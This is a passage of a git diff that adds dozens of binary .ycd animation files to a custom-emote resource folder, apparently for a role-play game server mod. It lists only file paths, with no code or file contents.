Emotes]/DRXAmimations/drx@malestand3c.ycd new file mode 100644 index 000000000..67a59eaca Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@malestand3c.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@pose_male.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@pose_male.ycd new file mode 100644 index 000000000..18580122d Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@pose_male.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@singlemale1.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@singlemale1.ycd new file mode 100644 index 000000000..17534c0a8 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@singlemale1.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@singlemale2.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@singlemale2.ycd new file mode 100644 index 000000000..e4b3d0083 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@singlemale2.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@singlemalestand1.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@singlemalestand1.ycd new file mode 100644 index 000000000..4c9bdfc1a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@singlemalestand1.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@singlemalestand2.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@singlemalestand2.ycd new file mode 100644 index 000000000..9bee0b559 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@singlemalestand2.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@sitcarfemale.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@sitcarfemale.ycd new file mode 100644 index 000000000..462a1aa59 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@sitcarfemale.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@skateboard2.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@skateboard2.ycd new file mode 100644 index 000000000..927b5bf73 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@skateboard2.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@skateboard3.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@skateboard3.ycd new file mode 100644 index 000000000..f45a3819e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@skateboard3.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/anim@male_selfie_06.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/anim@male_selfie_06.ycd new file mode 100644 index 000000000..df5d4ca8c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/anim@male_selfie_06.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/bad_girls_pose3@darks37.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/bad_girls_pose3@darks37.ycd new file mode 100644 index 000000000..63413f742 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/bad_girls_pose3@darks37.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/bat@sel.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/bat@sel.ycd new file mode 100644 index 000000000..87b9a9ac6 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/bat@sel.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/beach_1@janina234.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/beach_1@janina234.ycd new file mode 100644 index 000000000..83125a077 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/beach_1@janina234.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/beach_4@janina234.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/beach_4@janina234.ycd new file mode 100644 index 000000000..a07eb55cc Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/beach_4@janina234.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/brugershot_dark_fixed@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/brugershot_dark_fixed@dark.ycd new file mode 100644 index 000000000..5a093bb05 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/brugershot_dark_fixed@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/cop_badge_1@dad.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/cop_badge_1@dad.ycd new file mode 100644 index 000000000..ab18ae658 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/cop_badge_1@dad.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/couple_singing_m@darks37.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/couple_singing_m@darks37.ycd new file mode 100644 index 000000000..436c1727d Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/couple_singing_m@darks37.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/cross_arms@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/cross_arms@dark.ycd new file mode 100644 index 000000000..746eba9c2 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/cross_arms@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/feet_stand_w@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/feet_stand_w@darksj.ycd new file mode 100644 index 000000000..4d9f100d1 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/feet_stand_w@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/fist_face@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/fist_face@darksj.ycd new file mode 100644 index 000000000..f32dd6dd0 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/fist_face@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/fuckm@nxsty.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/fuckm@nxsty.ycd new file mode 100644 index 000000000..6498c97c8 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/fuckm@nxsty.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/ganggirls_pose1@darks37.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/ganggirls_pose1@darks37.ycd new file mode 100644 index 000000000..f8c80262a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/ganggirls_pose1@darks37.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/ganggirls_pose2@darks37.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/ganggirls_pose2@darks37.ycd new file mode 100644 index 000000000..66786ca8c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/ganggirls_pose2@darks37.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/girl_groupe_b@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/girl_groupe_b@darksj.ycd new file mode 100644 index 000000000..442a2dbf3 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/girl_groupe_b@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/girl_groupe_d@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/girl_groupe_d@darksj.ycd new file mode 100644 index 000000000..0e45e53d7 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/girl_groupe_d@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/gun_ink@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/gun_ink@darksj.ycd new file mode 100644 index 000000000..5fd088326 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/gun_ink@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/gun_prime_2@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/gun_prime_2@darksj.ycd new file mode 100644 index 000000000..e16adfa28 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/gun_prime_2@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/hold_flowers@dad.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/hold_flowers@dad.ycd new file mode 100644 index 000000000..d17476ca5 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/hold_flowers@dad.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_1@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_1@dark.ycd new file mode 100644 index 000000000..3434fe975 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_1@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_2@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_2@dark.ycd new file mode 100644 index 000000000..3f6009e68 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_2@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_3@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_3@dark.ycd new file mode 100644 index 000000000..d7e40e058 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_3@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_4@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_4@dark.ycd new file mode 100644 index 000000000..55e1643f5 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_4@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_5@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_5@dark.ycd new file mode 100644 index 000000000..6b62074f7 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/holding_book_5@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/hoodie_hands@dad.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/hoodie_hands@dad.ycd new file mode 100644 index 000000000..b6b4146cb Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/hoodie_hands@dad.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/koko_male@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/koko_male@darksj.ycd new file mode 100644 index 000000000..06f6eacc3 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/koko_male@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/lay_controller@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/lay_controller@dark.ycd new file mode 100644 index 000000000..b284e86ba Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/lay_controller@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/male_duo_a@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/male_duo_a@darksj.ycd new file mode 100644 index 000000000..82db48260 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/male_duo_a@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/male_solo_1@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/male_solo_1@darksj.ycd new file mode 100644 index 000000000..af055ee1e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/male_solo_1@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/male_solo_3@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/male_solo_3@darksj.ycd new file mode 100644 index 000000000..cc530e825 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/male_solo_3@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/male_solo_4@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/male_solo_4@darksj.ycd new file mode 100644 index 000000000..68859fe7a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/male_solo_4@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_1@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_1@darksj.ycd new file mode 100644 index 000000000..cfb74b1f9 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_1@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_2@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_2@darksj.ycd new file mode 100644 index 000000000..f1b648948 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_2@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_3@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_3@darksj.ycd new file mode 100644 index 000000000..19283327e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_3@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_4@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_4@darksj.ycd new file mode 100644 index 000000000..5d53cf5b7 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_4@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_5_a@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_5_a@darksj.ycd new file mode 100644 index 000000000..a4f753755 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mic_pose_5_a@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mirror_selfie_1@janina234.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mirror_selfie_1@janina234.ycd new file mode 100644 index 000000000..7aba2815b Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mirror_selfie_1@janina234.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mirror_selfie_8@daj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mirror_selfie_8@daj.ycd new file mode 100644 index 000000000..3c61c9cfd Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/mirror_selfie_8@daj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/on_the_knees@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/on_the_knees@darksj.ycd new file mode 100644 index 000000000..e0d4665f1 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/on_the_knees@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/piano_play@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/piano_play@dark.ycd new file mode 100644 index 000000000..bd46e62d0 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/piano_play@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pistol_b_b@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pistol_b_b@dark.ycd new file mode 100644 index 000000000..22929a34f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pistol_b_b@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/play_saxophone@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/play_saxophone@dark.ycd new file mode 100644 index 000000000..8c5b9fcce Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/play_saxophone@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_1@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_1@dark.ycd new file mode 100644 index 000000000..459dd25c3 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_1@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_2@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_2@dark.ycd new file mode 100644 index 000000000..a17c05fae Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_2@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_3@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_3@dark.ycd new file mode 100644 index 000000000..5e9e2b935 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_3@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_4@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_4@dark.ycd new file mode 100644 index 000000000..b8398d6e3 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_4@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_5@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_5@dark.ycd new file mode 100644 index 000000000..db606b326 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/pool_pack_5@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/side_shoe_check@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/side_shoe_check@darksj.ycd new file mode 100644 index 000000000..e633ef6fa Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/side_shoe_check@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/sit_bong@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/sit_bong@dark.ycd new file mode 100644 index 000000000..0fe94bc65 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/sit_bong@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/sit_cute_1@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/sit_cute_1@dark.ycd new file mode 100644 index 000000000..889ccda3a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/sit_cute_1@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/smoke_m@sel.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/smoke_m@sel.ycd new file mode 100644 index 000000000..641232fca Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/smoke_m@sel.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_camera_1@dad.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_camera_1@dad.ycd new file mode 100644 index 000000000..eafae604a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_camera_1@dad.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_cute_6@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_cute_6@dark.ycd new file mode 100644 index 000000000..67c5916d5 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_cute_6@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_dab@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_dab@dark.ycd new file mode 100644 index 000000000..c63397981 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_dab@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_fem_1@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_fem_1@darksj.ycd new file mode 100644 index 000000000..afa613e5b Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_fem_1@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_middlefinger@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_middlefinger@dark.ycd new file mode 100644 index 000000000..d3a8d5aad Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/stand_middlefinger@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/study_pc_finally_fixed@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/study_pc_finally_fixed@dark.ycd new file mode 100644 index 000000000..720dd1364 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/study_pc_finally_fixed@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/suitcase_phone@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/suitcase_phone@dark.ycd new file mode 100644 index 000000000..3d047ebb7 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/suitcase_phone@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/westside_cap@darksj.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/westside_cap@darksj.ycd new file mode 100644 index 000000000..659fb9b3a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/westside_cap@darksj.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/zimmerframe_walk@dark.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/zimmerframe_walk@dark.ycd new file mode 100644 index 000000000..243993da6 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DarkAnimations/zimmerframe_walk@dark.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DestinyCustoms/smokingweapon@animation.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DestinyCustoms/smokingweapon@animation.ycd new file mode 100644 index 000000000..ec11e9376 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DestinyCustoms/smokingweapon@animation.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Dollie_Mods/dollie_mods@follow_me_001.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Dollie_Mods/dollie_mods@follow_me_001.ycd new file mode 100644 index 000000000..aa050f6bb Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Dollie_Mods/dollie_mods@follow_me_001.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Dollie_Mods/dollie_mods@follow_me_002.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Dollie_Mods/dollie_mods@follow_me_002.ycd new file mode 100644 index 000000000..6931413c9 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Dollie_Mods/dollie_mods@follow_me_002.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/EnchantedBrwny@wedding1a.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/EnchantedBrwny@wedding1a.ycd new file mode 100644 index 000000000..2e05eff00 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/EnchantedBrwny@wedding1a.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/EnchantedBrwny@wedding1b.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/EnchantedBrwny@wedding1b.ycd new file mode 100644 index 000000000..5d003237e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/EnchantedBrwny@wedding1b.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/EnchantedBrwny@wedding2a.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/EnchantedBrwny@wedding2a.ycd new file mode 100644 index 000000000..3a0c5c1b8 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/EnchantedBrwny@wedding2a.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/EnchantedBrwny@wedding2b.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom 